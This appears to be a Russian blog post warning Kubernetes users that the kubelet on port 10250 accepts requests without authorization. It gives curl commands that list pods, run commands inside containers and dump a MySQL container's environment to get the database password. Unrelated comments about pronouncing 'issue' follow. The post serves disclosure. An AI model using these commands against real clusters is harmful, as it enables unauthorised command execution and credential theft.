Предостережение для пользователей Kubernetes

    Сервис kubelet, с которым тесно общается apiserver, слушает порт 10250. Этот порт хоть и использует сертификаты, но лишь для шифрования канала, никакой авторизации на нём нет.


    Об этой проблеме известно давно, но почему-то никто не считает её серьезной. Ссылки на обсуждения:



    Что с этим можно сделать? Практически всё. Без регистрации и sms.


    Получить список всех pod'ов:


    $ curl -sk https://k8s-node-1:10250/runningpods/ | python -mjson.tool

    Выполнить команду внутри контейнера? Запросто:


    $ curl -k -XPOST "https://k8s-node-1:10250/run/kube-system/node-exporter-iuwg7/node-exporter" -d "cmd=ls -la /"

    Получить пароль на базу данных? Проще простого:


    $ curl -k -XPOST "https://k8s-node-1:10250/run/default/mysql-epg0f/mysql" -d 'cmd=env'

    Вытащить из неё данные тоже не составит труда.

    Поделиться публикацией

    Похожие публикации

    Комментарии 14

    • НЛО прилетело и опубликовало эту надпись здесь
        +9
        «Иссуя»?!
        • НЛО прилетело и опубликовало эту надпись здесь
            +2
            Чего бы вам их «тасками» не обзывать…
            • НЛО прилетело и опубликовало эту надпись здесь
              0
              В множественном числе можно говорить «ишьюсы» (issues): «пофиксил два ишью», «больше нет ишьюсов». Еще вместо Ш в середине слова можно использовать Щ потому что по-английски оно именно так и звучит. Ну и надо сразу учиться говорить правильно (заодно коллег переучивать), потом все равно придется переучиваться когда попадешь в другой коллектив, особенно если он англоязычный.
              0
              Да ладно иссуя. Я в своей практике встречал «щедулесы» с «пропетрисами» и прочий «фусик ёу» :)
                0
                Ишью же!
                  0
                  Эм, в американсокм варианте оно через «с» и пишется — [ ˈɪsjuː ], это в британском через «ш» — [ ˈɪʃuː ].
                  К слову, в британском английском schedule через «ш» — [ ˈʃedjuːl ].

                  Так что, не всё так однозначно.
                    +3
                    Суппля он, ага
                    image
                      0
                      Вспоминаются венгерские терминалы Videoton из детства, которые были с кириллическим знакогенератором, и поэтому на недопереведенных буржуйских ОС приходилось созерцать ошибки вида ИНЖАЛИД ДЕЖИЦЕ.
                        0

                        И классический ЕГГОГ ,)

                    0
                    У нас вообще «изя». А у знакомых «дело». Там бывший гаишник в команде, он термин и внедрил.
                    • НЛО прилетело и опубликовало эту надпись здесь

                Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.

                Самое читаемое